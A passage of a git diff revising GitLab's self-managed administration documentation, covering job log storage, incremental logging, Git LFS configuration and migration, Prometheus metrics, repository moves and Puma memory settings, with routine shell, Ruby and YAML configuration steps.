+1. Edit `/home/git/gitlab/config/gitlab.yml` to set the new storage location: ```yaml - gitlab_ci: - # The location where build logs are stored (default: builds/). - # Relative paths are relative to Rails.root. - builds_path: path/to/builds/ + production: &base + gitlab_ci: + builds_path: /mnt/gitlab-ci/builds + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +1. Use `rsync` to move job logs from the current location to the new location: + + ```shell + sudo rsync -avzh --remove-source-files --ignore-existing --progress /home/git/gitlab/builds/ /mnt/gitlab-ci/builds/ + ``` + + Use `--ignore-existing` so you don't override new job logs with older versions of the same log. + +1. If you opted to pause the continuous integration data processing, you can + start Sidekiq again: + + ```shell + # For systems running systemd + sudo systemctl start gitlab-sidekiq + + # For systems running SysV init + sudo service gitlab start + ``` + +1. Remove the old job logs storage location: + + ```shell + sudo rm -rf /home/git/gitlab/builds ``` -1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes - to take effect. +::EndTabs ## Uploading logs to object storage Archived logs are considered as [job artifacts](job_artifacts.md). -Therefore, when you [set up the object storage integration](job_artifacts.md#object-storage-settings), +Therefore, when you [set up the object storage integration](job_artifacts.md#using-object-storage), job logs are automatically migrated to it along with the other job artifacts. See "Phase 3: uploading" in [Data flow](#data-flow) to learn about the process. @@ -118,19 +159,45 @@ There isn't a way to automatically expire old job logs, but it's safe to remove them if they're taking up too much space. If you remove the logs manually, the job output in the UI is empty. -For example, to delete all job logs older than 60 days, run the following from a shell in your GitLab instance: +For example, to delete all job logs older than 60 days, run the following +command from a shell in your GitLab instance. + +NOTE: +For the Helm chart, use the storage management tools provided with your object +storage. WARNING: -This command permanently deletes the log files and is irreversible. +The following command permanently deletes the log files and is irreversible. + +::Tabs + +:::TabTitle Linux package (Omnibus) ```shell find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete ``` -NOTE: -After execution, broken file references can be reported when running -[`sudo gitlab-rake gitlab:artifacts:check`](raketasks/check.md#uploaded-files-integrity). -For more information, see [delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts). +:::TabTitle Docker + +Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: + +```shell +find /srv/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete +``` + +:::TabTitle Self-compiled (source) + +```shell +find /home/git/gitlab/shared/artifacts -name "job.log" -mtime +60 -delete +``` + +::EndTabs + +After the logs are deleted, you can find any broken file references by running +the Rake task that checks the +[integrity of the uploaded files](raketasks/check.md#uploaded-files-integrity). +For more information, see how to +[delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts). ## Incremental logging architecture @@ -140,19 +207,48 @@ For more information, see [delete references to missing artifacts](raketasks/che > - [Recommended for production use with AWS S3](https://gitlab.com/gitlab-org/gitlab/-/issues/273498) in GitLab 13.7. > - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-incremental-logging). -By default job logs are sent from the GitLab Runner in chunks and cached temporarily on disk -in `/var/opt/gitlab/gitlab-ci/builds` by Omnibus GitLab. After the job completes, -a background job archives the job log. The log is moved to `/var/opt/gitlab/gitlab-rails/shared/artifacts/` -by default, or to object storage if configured. - -In a [scaled-out architecture](reference_architectures/index.md) with Rails and Sidekiq running on more than one -server, these two locations on the file system have to be shared using NFS. +By default, job logs are sent from the GitLab Runner in chunks and cached +temporarily on disk. After the job completes, a background job archives the job +log. The log is moved to the artifacts directory by default, or to object +storage if configured. -To eliminate both file system requirements: +In a [scaled-out architecture](reference_architectures/index.md) with Rails and +Sidekiq running on more than one server, these two locations on the file system +have to be shared using NFS, which is not recommended. Instead: -1. Configure [object storage](job_artifacts.md#object-storage-settings) for storing archived job logs. +1. Configure [object storage](job_artifacts.md#using-object-storage) for storing archived job logs. 1. [Enable the incremental logging feature](#enable-or-disable-incremental-logging), which uses Redis instead of disk space for temporary caching of job logs. +### Enable or disable incremental logging + +Before you enable the feature flag: + +- Review [the limitations of incremental logging](#limitations). +- [Enable object storage](job_artifacts.md#using-object-storage). + +To enable incremental logging: + +1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session). +1. Enable the feature flag: + + ```ruby + Feature.enable(:ci_enable_live_trace) + ``` + + Running jobs' logs continue to be written to disk, but new jobs use + incremental logging. + +To disable incremental logging: + +1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session). +1. Disable the feature flag: + + ```ruby + Feature.disable(:ci_enable_live_trace) + ``` + + Running jobs continue to use incremental logging, but new jobs write to the disk. + ### Technical details The data flow is the same as described in the [data flow section](#data-flow) @@ -178,36 +274,7 @@ Here is the detailed data flow: ### Limitations - [Redis Cluster is not supported](https://gitlab.com/gitlab-org/gitlab/-/issues/224171). -- You must configure [object storage for CI/CD artifacts, logs, and builds](job_artifacts.md#object-storage-settings) +- You must configure [object storage for CI/CD artifacts, logs, and builds](job_artifacts.md#using-object-storage) before you enable the feature flag. After the flag is enabled, files cannot be written to disk, and there is no protection against misconfiguration. - There is [an epic tracking other potential limitations and improvements](https://gitlab.com/groups/gitlab-org/-/epics/3791). - -### Enable or disable incremental logging - -Incremental logging is under development, but [ready for production use as of GitLab 13.6](https://gitlab.com/groups/gitlab-org/-/epics/4275). It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](feature_flags.md) -can enable it. - -Before you enable the feature flag: - -- Review [the limitations of incremental logging](#limitations). -- [Enable object storage](job_artifacts.md#object-storage-settings). - -To enable incremental logging: - -```ruby -Feature.enable(:ci_enable_live_trace) -``` - -Running jobs' logs continue to be written to disk, but new jobs use -incremental logging. - -To disable incremental logging: - -```ruby -Feature.disable(:ci_enable_live_trace) -``` - -Running jobs continue to use incremental logging, but new jobs write to the disk. diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md index cf80b05a5e0..302dc38cf28 100644 --- a/doc/administration/lfs/index.md +++ b/doc/administration/lfs/index.md @@ -10,206 +10,335 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.h This page contains information about configuring Git LFS in self-managed GitLab instances. For user documentation about Git LFS, see [Git Large File Storage](../../topics/git/lfs/index.md). -LFS is enabled in GitLab self-managed instances by default. - -## Requirements +Prerequisites: - Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 or later. -## Configuration +## Enable or disable LFS + +LFS is enabled by default. To disable it: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + # Change to true to enable lfs - enabled by default if not defined + gitlab_rails['lfs_enabled'] = false + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + lfs: + enabled: false + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['lfs_enabled'] = false + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + lfs: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + +## Change local storage path Git LFS objects can be large in size. By default, they are stored on the server GitLab is installed on. -There are various configuration options to help GitLab server administrators: +NOTE: +For Docker installations, you can change the path where your data is mounted. +For the Helm chart, use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). + +To change the default local storage path location: -- Enabling/disabling Git LFS support. -- Changing the location of LFS object storage. -- Setting up object storage supported by [Fog](https://fog.io/about/provider_documentation.html). +::Tabs -### Configuration for Omnibus installations +:::TabTitle Linux package (Omnibus) -In `/etc/gitlab/gitlab.rb`: +1. Edit `/etc/gitlab/gitlab.rb`: -```ruby -# Change to true to enable lfs - enabled by default if not defined -gitlab_rails['lfs_enabled'] = false + ```ruby + # /var/opt/gitlab/gitlab-rails/shared/lfs-objects by default. + gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects" + ``` -# Optionally, change the storage path location. Defaults to -# `#{gitlab_rails['shared_path']}/lfs-objects`. Which evaluates to -# `/var/opt/gitlab/gitlab-rails/shared/lfs-objects` by default. -gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects" -``` +1. Save the file and reconfigure GitLab: -After you update settings in `/etc/gitlab/gitlab.rb`, run [Omnibus GitLab reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). + ```shell + sudo gitlab-ctl reconfigure + ``` -### Configuration for installations from source +:::TabTitle Self-compiled (source) -In `config/gitlab.yml`: +1. Edit `/home/git/gitlab/config/gitlab.yml`: -```yaml -# Change to true to enable lfs - lfs: - enabled: false - storage_path: /mnt/storage/lfs-objects -``` + ```yaml + # /home/git/gitlab/shared/lfs-objects by default. + production: &base + lfs: + storage_path: /mnt/storage/lfs-objects + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Storing LFS objects in remote object storage You can store LFS objects in remote object storage. This allows you to reduce reads and writes to the local disk, and free up disk space significantly. -GitLab is tightly integrated with `Fog`, so you can refer to its [documentation](https://fog.io/about/provider_documentation.html) -to check which storage services can be integrated with GitLab. -You can also use external object storage in a private local network. For example, -[MinIO](https://min.io/) is a standalone object storage service that works with GitLab instances. -[Read more about using object storage with GitLab](../object_storage.md). - -NOTE: In GitLab 13.2 and later, you should use the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). -This section describes the earlier configuration format. [Migration steps still apply](#migrating-to-object-storage). -1. User pushes an `lfs` file to the GitLab instance. -1. GitLab-workhorse uploads the file directly to the external object storage. -1. GitLab-workhorse notifies GitLab-rails that the upload process is complete. +### Migrating to object storage + +You can migrate the LFS objects from local storage to object storage. The +processing is done in the background and requires **no downtime**. + +1. [Configure the object storage](../object_storage.md#consolidated-object-storage-configuration). +1. Migrate the LFS objects: + + ::Tabs -The following general settings are supported. + :::TabTitle Linux package (Omnibus) -| Setting | Description | Default | -|---------------------|-------------|---------| -| `enabled` | Enable/disable object storage. | `false` | -| `remote_directory` | The bucket name where LFS objects are stored. | | -| `proxy_download` | Set to true to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | `false` | -| `connection` | Various connection options described below. | | + ```shell + sudo gitlab-rake gitlab:lfs:migrate + ``` -See [the available connection settings for different providers](../object_storage.md#connection-settings). + :::TabTitle Docker -Here is a configuration example with S3. + ```shell + sudo docker exec -t <container name> gitlab-rake gitlab:lfs:migrate + ``` -### S3 for Omnibus installations + :::TabTitle Self-compiled (source) -On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_`: + ```shell + sudo -u git -H bundle exec rake gitlab:lfs:migrate RAILS_ENV=production + ``` -1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, replacing values based on your needs: + ::EndTabs - ```ruby - gitlab_rails['lfs_object_store_enabled'] = true - gitlab_rails['lfs_object_store_remote_directory'] = "lfs-objects" - gitlab_rails['lfs_object_store_connection'] = { - 'provider' => 'AWS', - 'region' => 'eu-central-1', - 'aws_access_key_id' => '1ABCD2EFGHI34JKLM567N', - 'aws_secret_access_key' => 'abcdefhijklmnopQRSTUVwxyz0123456789ABCDE', - # The below options configure an S3 compatible host instead of AWS - 'host' => 'localhost', - 'endpoint' => 'http://127.0.0.1:9000', - 'path_style' => true - } +1. Optional. Track the progress and verify that all job LFS objects migrated + successfully using the PostgreSQL console. + 1. Open a PostgreSQL console: + + ::Tabs + + :::TabTitle Linux package (Omnibus) + + ```shell + sudo gitlab-psql + ``` + + :::TabTitle Docker + + ```shell + sudo docker exec -it <container_name> /bin/bash + gitlab-psql + ``` + + :::TabTitle Self-compiled (source) + + ```shell + sudo -u git -H psql -d gitlabhq_production + ``` + + ::EndTabs + + 1. Verify that all LFS files migrated to object storage with the following + SQL query. The number of `objectstg` should be the same as `total`: + + ```shell + gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects; + + total | filesystem | objectstg + ------+------------+----------- + 2409 | 0 | 2409 + ``` + +1. Verify that there are no files on disk in the `lfs-objects` directory: + + ::Tabs + + :::TabTitle Linux package (Omnibus) + + ```shell + sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l ``` -1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage). - New LFS objects are forwarded to object storage. + :::TabTitle Docker -### S3 for installations from source + Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`: -For source installations the settings are nested under `lfs:` and then -`object_store:`: + ```shell + sudo find /srv/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l + ``` -1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following - lines: + :::TabTitle Self-compiled (source) - ```yaml - lfs: - enabled: true - object_store: - enabled: false - remote_directory: lfs-objects # Bucket name - connection: - provider: AWS - aws_access_key_id: 1ABCD2EFGHI34JKLM567N - aws_secret_access_key: abcdefhijklmnopQRSTUVwxyz0123456789ABCDE - region: eu-central-1 - # Use the following options to configure an AWS compatible host such as Minio - host: 'localhost' - endpoint: 'http://127.0.0.1:9000' - path_style: true + ```shell + sudo find /home/git/gitlab/shared/lfs-objects -type f | grep -v tmp | wc -l ``` -1. Save the file, and then [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect. -1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage). - New LFS objects are forwarded to object storage. + ::EndTabs -### Migrating to object storage +### Migrating back to local storage -**Option 1: Rake task** +NOTE: +For the Helm chart, you should use +[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/). -After [configuring the object storage](#storing-lfs-objects-in-remote-object-storage), use the following task to -migrate existing LFS objects from the local storage to the remote storage. -The processing is done in a background worker and requires **no downtime**. +To migrate back to local storage: -For Omnibus GitLab: +::Tabs -```shell -sudo gitlab-rake "gitlab:lfs:migrate" -``` +:::TabTitle Linux package (Omnibus) -For installations from source: +1. Migrate the LFS objects: -```shell -RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:lfs:migrate -``` + ```shell + sudo gitlab-rake gitlab:lfs:migrate_to_local + ``` -You can optionally track progress and verify that all LFS objects migrated successfully using the -[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database): +1. Edit `/etc/gitlab/gitlab.rb` and + [disable object storage](../object_storage.md#selectively-disabling-object-storage) + for LFS objects: -- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier. -- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later. -- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances. + ```ruby + gitlab_rails['object_store']['objects']['lfs']['enabled'] = false + ``` -Verify `objectstg` below (where `store=2`) has count of all LFS objects: +1. Save the file and reconfigure GitLab: -```shell -gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects; -``` + ```shell + sudo gitlab-ctl reconfigure + ``` -**Example Output** +:::TabTitle Docker -```shell -total | filesystem | objectstg -------+------------+----------- - 2409 | 0 | 2409 -``` +1. Migrate the LFS objects: + + ```shell + sudo docker exec -t <container name> gitlab-rake gitlab:lfs:migrate_to_local + ``` -Verify that there are no files on disk in the `objects` folder: +1. Edit `docker-compose.yml` and disable object storage for LFS objects: -```shell -sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l -``` + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['object_store']['objects']['lfs']['enabled'] = false + ``` -**Option 2: Rails console** +1. Save the file and restart GitLab: -Log into the Rails console: + ```shell + docker compose up -d + ``` -```shell -sudo gitlab-rails console -``` +:::TabTitle Self-compiled (source) -Upload LFS files manually +1. Migrate the LFS objects: -```ruby -LfsObject.where(file_store: [nil, 1]).find_each do |lfs_object| - lfs_object.file.migrate!(ObjectStorage::Store::REMOTE) if lfs_object.file.file.exists? -end -``` + ```shell + sudo -u git -H bundle exec rake gitlab:lfs:migrate_to_local RAILS_ENV=production + ``` -### Migrating back to local storage +1. Edit `/home/git/gitlab/config/gitlab.yml` and disable object storage for LFS objects: -To migrate back to local storage: + ```yaml + production: &base + object_store: + objects: + lfs: + enabled: false + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` -1. Run `rake gitlab:lfs:migrate_to_local` on your console. -1. Disable `object_storage` for LFS objects in `gitlab.rb`. Remember to restart GitLab afterwards. +::EndTabs ## Storage statistics diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index ad89d32183b..83b42295035 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -36,7 +36,7 @@ for details on managing SSL certificates and configuring NGINX. ### Load Balancers terminate SSL without backend SSL -Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'. +Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`. The load balancers is be responsible for managing SSL certificates and terminating SSL. @@ -47,7 +47,7 @@ for details. ### Load Balancers terminate SSL with backend SSL -Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'. +Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`. The load balancers is responsible for managing SSL certificates that end users see. diff --git a/doc/administration/logs/tracing_correlation_id.md b/doc/administration/logs/tracing_correlation_id.md index 906dcd3cea9..45c0ce37102 100644 --- a/doc/administration/logs/tracing_correlation_id.md +++ b/doc/administration/logs/tracing_correlation_id.md @@ -133,7 +133,7 @@ You can use the [performance bar](../monitoring/performance/performance_bar.md) To view the data, the correlation ID of the request must match the same session as the user viewing the performance bar. For API requests, this means that you must perform the request -using the session cookie of the signed-in user. +using the session cookie of the authenticated user. For example, if you want to view the database queries executed for the following API endpoint: diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md index 25dba00beb9..85677512860 100644 --- a/doc/administration/merge_request_diffs.md +++ b/doc/administration/merge_request_diffs.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index 92e9672cdb6..3dec34ebace 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -25,9 +25,9 @@ is `admin`. 1. Log in to Grafana as the administration user. 1. Select **Data Sources** from the **Configuration** menu. -1. Select the **Add data source** button. +1. Select **Add data source**. 1. Select the required data source type. For example, [Prometheus](../prometheus/index.md#prometheus-as-a-grafana-data-source). -1. Complete the details for the data source and select the **Save & Test** button. +1. Complete the details for the data source and select **Save & Test**. Grafana should indicate the data source is working. @@ -43,8 +43,8 @@ them: 1. Log in to Grafana as the administration user. 1. Select **Manage** from the **Dashboards** menu. - 1. Select the **Import** button, then the **Upload JSON file** button. - 1. Locate the JSON file to import and select **Choose for Upload**. Select the **Import** button. + 1. Select **Import**, then **Upload JSON file**. + 1. Locate the JSON file to import and select **Choose for Upload**. Select **Import**. 1. After the dashboard is imported, select the **Save dashboard** icon in the top bar. If you don't save the dashboard after importing it, the dashboard is removed diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 53ee028bc32..29182077d66 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -153,6 +153,14 @@ The following metrics are available: | `cached_object_operations_total` | Counter | 15.3 | Total number of objects cached for specific web requests | `controller`, `action` | | `redis_hit_miss_operations_total` | Counter | 15.6 | Total number of Redis cache hits and misses | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` | | `redis_cache_generation_duration_seconds` | Histogram | 15.6 | Time to generate Redis cache | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` | +| `gitlab_diffs_reorder_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spend on reordering of diff files on diffs batch request | `controller`, `action` | +| `gitlab_diffs_collection_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on querying merge request diff files on diffs batch request | `controller`, `action` | +| `gitlab_diffs_comparison_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting comparison data on diffs batch request | `controller`, `action` | +| `gitlab_diffs_unfoldable_positions_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting unfoldable note positions on diffs batch request | `controller`, `action` | +| `gitlab_diffs_unfold_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on unfolding positions on diffs batch request | `controller`, `action` | +| `gitlab_diffs_write_cache_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on caching highlighted lines and stats on diffs batch request | `controller`, `action` | +| `gitlab_diffs_highlight_cache_decorate_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on setting highlighted lines from cache on diffs batch request | `controller`, `action` | +| `gitlab_diffs_render_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on serializing and rendering diffs on diffs batch request | `controller`, `action` | ## Metrics controlled by a feature flag diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 0cae46faf28..6064ae7525e 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -13,7 +13,11 @@ typically much more performant, reliable, and scalable. ## Options -GitLab has been tested by vendors and customers on a number of object storage providers: +GitLab is tightly integrated with `Fog`, so you can refer to its +[documentation](https://fog.io/about/provider_documentation.html) to check +which storage services can be integrated with GitLab. + +Specifically, GitLab has been tested by vendors and customers on a number of object storage providers: - [Amazon S3](https://aws.amazon.com/s3/) - [Google Cloud Storage](https://cloud.google.com/storage) diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index 7aeb05457c0..a34b21e676a 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -188,7 +188,8 @@ file for the environment, as it isn't generated dynamically. ### Additional documentation -Additional technical documentation for `gitlab-sshd` may be found on the [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) documentation page. +Additional technical documentation for `gitlab-sshd` may be found in the +[GitLab Shell documentation](../../development/gitlab_shell/index.md). ## Troubleshooting diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index 96c1fcc422d..5066f6d99d8 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can move all repositories managed by GitLab to another file system or another server. -## Moving data within a GitLab instance +## Moving data in a GitLab instance The GitLab API is the recommended way to move Git repositories: @@ -28,10 +28,10 @@ For more information, see: querying and scheduling group repository moves **(PREMIUM SELF)**. - [Migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). -### Move Repositories +### Moving Repositories GitLab repositories can be associated with projects, groups, and snippets. Each of these types -have a separate API to schedule the respective repositories to move. To move all repositories +has a separate API to schedule the respective repositories to move. To move all repositories on a GitLab instance, each of these types must be scheduled to move for each storage. WARNING: @@ -41,7 +41,7 @@ To move repositories into a [Gitaly Cluster](../gitaly/index.md#gitaly-cluster) WARNING: Repositories can be **permanently deleted** by a call to `/projects/:project_id/repository_storage_moves` that attempts to move a project already stored in a Gitaly Cluster back into that cluster. -See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This was fixed in +See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This issue was fixed in GitLab 14.3.0 and backported to [14.2.4](https://about.gitlab.com/releases/2021/09/17/gitlab-14-2-4-released/), [14.1.6](https://about.gitlab.com/releases/2021/09/27/gitlab-14-1-6-released/), @@ -59,13 +59,16 @@ To move repositories: so that the new storages receives all new projects. This stops new projects from being created on existing storages while the migration is in progress. 1. Schedule repository moves for: - - [Projects](#bulk-schedule-project-moves). - - [Snippets](#bulk-schedule-snippet-moves). - - [Groups](#bulk-schedule-group-moves). **(PREMIUM SELF)** + - [All projects](#move-all-projects) or + [individual projects](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project). + - [All snippets](#move-all-snippets) or + [individual snippets](../../api/snippet_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-snippet). + - [All groups](#move-all-groups) or + [individual groups](../../api/group_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-group). **(PREMIUM SELF)** -### Bulk schedule project moves +#### Move all projects -Use the API to schedule project moves: +To move all projects by using the API: 1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example: @@ -100,9 +103,9 @@ Use the API to schedule project moves: 1. Repeat for each storage as required. -### Bulk schedule snippet moves +#### Move all snippets -Use the API to schedule snippet moves: +To move all snippets by using the API: 1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard). For example: @@ -113,8 +116,8 @@ Use the API to schedule snippet moves: "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" ``` -1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves) -The response indicates either: +1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves). + The response indicates either: - The moves have completed successfully. The `state` field is `finished`. - The moves are in progress. Re-query the repository move until it completes successfully. - The moves have failed. Most failures are temporary and are solved by rescheduling the move. @@ -129,12 +132,12 @@ The response indicates either: 1. Repeat for each storage as required. -### Bulk schedule group moves **(PREMIUM SELF)** +#### Move all groups **(PREMIUM SELF)** -Use the API to schedule group moves: +To move all groups by using the API: -1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) -. For example: +1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard). + For example: ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ @@ -143,8 +146,8 @@ Use the API to schedule group moves: "https://gitlab.example.com/api/v4/group_repository_storage_moves" ``` -1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves) -. The response indicates either: +1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves). + The response indicates either: - The moves have completed successfully. The `state` field is `finished`. - The moves are in progress. Re-query the repository move until it completes successfully. - The moves have failed. Most failures are temporary and are solved by rescheduling the move. @@ -161,7 +164,7 @@ Use the API to schedule group moves: ## Migrating to another GitLab instance -[Using the API](#moving-data-within-a-gitlab-instance) isn't an option if you are migrating to a new +[Using the API](#moving-data-in-a-gitlab-instance) isn't an option if you are migrating to a new GitLab environment, for example: - From a single-node GitLab to a scaled-out architecture. @@ -185,7 +188,7 @@ Each of the approaches we list can or does overwrite data in the target director For either Gitaly or Gitaly Cluster targets, the GitLab [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git repositories are accessed, managed, and stored on GitLab servers by Gitaly as a database. Data loss -can result from directly accessing and copying Gitaly's files using tools like `rsync`. +can result from directly accessing and copying Gitaly files using tools like `rsync`. - From GitLab 13.3, backup performance can be improved by [processing multiple repositories concurrently](../../raketasks/backup_gitlab.md#back-up-git-repositories-concurrently). diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index af595cdf297..51d6e9ae1fd 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -14,24 +14,22 @@ features of GitLab. To reduce memory use, Puma forks worker processes. Each time a worker is created, it shares memory with the primary process. The worker uses additional memory only -when it changes or adds to its memory pages. +when it changes or adds to its memory pages. This can lead to Puma workers using +more physical memory over time as workers handle additional web requests. The amount of memory +used over time depends on the use of GitLab. The more features used by GitLab users, +the higher the expected memory use over time. -Memory use increases over time, but you can use Puma Worker Killer to recover memory. +To stop uncontrolled memory growth, the GitLab Rails application runs a supervision thread +that automatically restarts workers if they exceed a given resident set size (RSS) threshold +for a certain amount of time. -By default: - -- The [Puma Worker Killer](https://github.com/schneems/puma_worker_killer) restarts a worker if it - exceeds a [memory limit](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cluster/puma_worker_killer_initializer.rb). -- Rolling restarts of Puma workers are performed every 12 hours. - -### Change the memory limit setting - -To change the memory limit setting: +GitLab sets a default of `1200Mb` for the memory limit. To override the default value, +set `per_worker_max_memory_mb` to the new RSS limit in megabytes: 1. Edit `/etc/gitlab/gitlab.rb`: ```ruby 